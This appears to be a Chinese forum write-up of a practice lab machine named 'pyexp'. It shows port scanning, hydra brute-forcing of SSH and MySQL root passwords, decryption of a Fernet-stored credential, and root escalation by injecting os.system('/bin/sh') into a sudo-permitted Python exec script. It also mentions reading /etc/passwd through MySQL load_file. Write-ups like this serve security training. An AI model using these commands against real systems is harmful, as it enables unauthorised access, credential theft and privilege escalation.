getwebshell
: Mysql
端点发现 → 暴力破解root
密码 → 利用20w
大字典爆破成功→ 进入数据库发现加密信息 → fernet
解密得到账号密码 → ssh
登录
提 权 思 路
: sudo
特权文件发现 → python
提权
192.168.45.194
192.168.203.118
sudo nmap --min-rate 10000 -p- 192.168.203.118
PORT STATE SERVICE
1337/tcp open waste
3306/tcp open mysql
开放的端口-→1337,3306
# tcp探测
sudo nmap -sT -sV -O -sC -p1337,3306 192.168.203.118
PORT STATE SERVICE VERSION
1337/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2
3306/tcp open mysql MySQL 5.5.5-10.3.23-MariaDB-0+deb10u1
通过Nmap
探测获得SSH的版本信息,可以尝试利用
探测版本为OpenSSH 7.9p1 Debian 10+deb10u2
# 搜索对应脚本
msf6 → searchsploit OpenSSH 7.9p1
无
通过Nmap
探测获得SSH的版本信息,在获取到某个用户名之后尝试
sudo ssh root @192.168.203.118 -v -p 1337
显示publickey
、password
就是支持密钥以及密码登录
因为支持密码登录,尝试root
账户的密码弱密码尝试
sudo ssh root @192.168.203.118 -p 1337
# 密码尝试
password → root
弱密码尝试失败
因为支持密码登录,尝试root
账户的密码爆破,利用工具hydra
,线程-t为6
sudo hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 -vV 192.168.203.118 ssh -s 1337
挂着工具进行爆破,我们尝试后续信息收集
# 尝试直接使用mysql协议进行root:root尝试(远程需-h)
mysql -h [目标IP] -u [用户名] -p [密码]
mysql -h 192.168.203.118 -uroot -proot
# 尝试hydra爆破mysql中root账户密码
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -vV 192.168.203.118 mysql
尝试爆破发现没有密码,陷入了僵局,决定上大字典
# 尝试hydra爆破mysql中root账户密码
hydra -l root -P /usr/share/wordlists/rockyou.txt -t 64 -vV 192.168.203.118 mysql
大字典爆破了很久很久才发现了密码prettywoman
mysql -h 192.168.203.118 -uroot -pprettywoman
主要查找登录的账号密码等信息
# 展示数据库
show databases;
# 使用需要查找的数据库
use data;
# 展示表
show tables;
# 寻找我们需要的表,通常名为user、admin
select * from fernet;
发现了加密的cred
和keyy
cred
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=
keyy
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=
通过百度发现表名已经给了提示,加密类型就是fernet
在https://cryptography.io/en/latest/fernet/
讲解了是如何加密的
# 加载
from cryptography.fernet import Fernet
# 这里输入key
key = Fernet.generate_key()
f = Fernet(key)
# 这里输入密钥
token = f.encrypt(b"my deep dark secret")
# 得到结果
f.decrypt(token)
b'my deep dark secret'
python3
from cryptography.fernet import Fernet
# 这里输入key(报错进行修改)
# key = Fernet.generate_key('UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=')
# 代码里是要生成一个key,这里是我们指定key
key = b'UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0='
f = Fernet(key)
# 这里输入密钥(不对 不用加密)
# token = f.encrypt(b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=")
# 直接指定token进行解密
token = b"gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys="
# 得到结果
f.decrypt(token)
# b'my deep dark secret'
b'lucy:wJ9`"Lemdv9[FEw-'
得到了账号和密码的信息
lucy:wJ9`"Lemdv9[FEw-
获取账号密码之后利用SSH进行登录
sudo ssh lucy @192.168.203.118 -p1337
password → wJ9`"Lemdv9[FEw-
lucy @pyexp:~$ find / -name local.txt 2→/dev/null
/home/lucy/local.txt
lucy @pyexp:~$ cat /home/lucy/local.txt
ebae58ce8fe13bf90c1ac089200656c0
提权的本质在于枚举
,在获取shell之后我们要进行内网信息的收集,都是为了提权
做准备
较老的Ubuntu
以及Linux系统可以overlayfs
提权
# 确定发行版本
lucy @pyexp:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 10 (buster)
Release: 10
Codename: buster
发行版本为Debian
,不太能overlayfs
提权
较低的内核版本可以进行脏牛
提权
lucy @pyexp:~$ uname -a
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux
内核版本为4.19.0
lucy @pyexp:~$ id
uid=1000(lucy) gid=1000(lucy) groups=1000(lucy),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
查找具有sudo
权限,且不需要密码的可提权文件
如果发现sudo -l
有东西的话 访问 https://gtfobins.github.io
寻找
# 利用sudo -l寻找
lucy @pyexp:~$ sudo -l
Matching Defaults entries for lucy on pyexp:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lucy may run the following commands on pyexp:
(root) NOPASSWD: /usr/bin/python2 /opt/exp.py
查看了一下可以sudo
的文件,可以读
lucy @pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)
会执行uinput
的内容,执行之后可以在后面输入内容,因为是input
如果发现有东西的话 访问 https://gtfobins.github.io 寻找
# 尝试在后面加上import os; os.system("/bin/sh")
lucy @pyexp:/opt$ sudo /usr/bin/python2 /opt/exp.py
how are you?import os; os.system("/bin/sh")
# id
uid=0(root) gid=0(root) groups=0(root)
提权成功
# cat /root/proof.txt
419157ef0f5cab7409e0818499f4bda6
完结撒花~
没想到的点:
数据库中可以通过load_file
读取文件,用select load_file('/etc/passwd')
利用hyrda
爆破大字典总觉得力不从心,查阅资源发现可以使用medusa
进行爆破
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 400.00 | 0 | 2023-08-06 14:02:36 | 深度 200 普适 100 可读 100 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.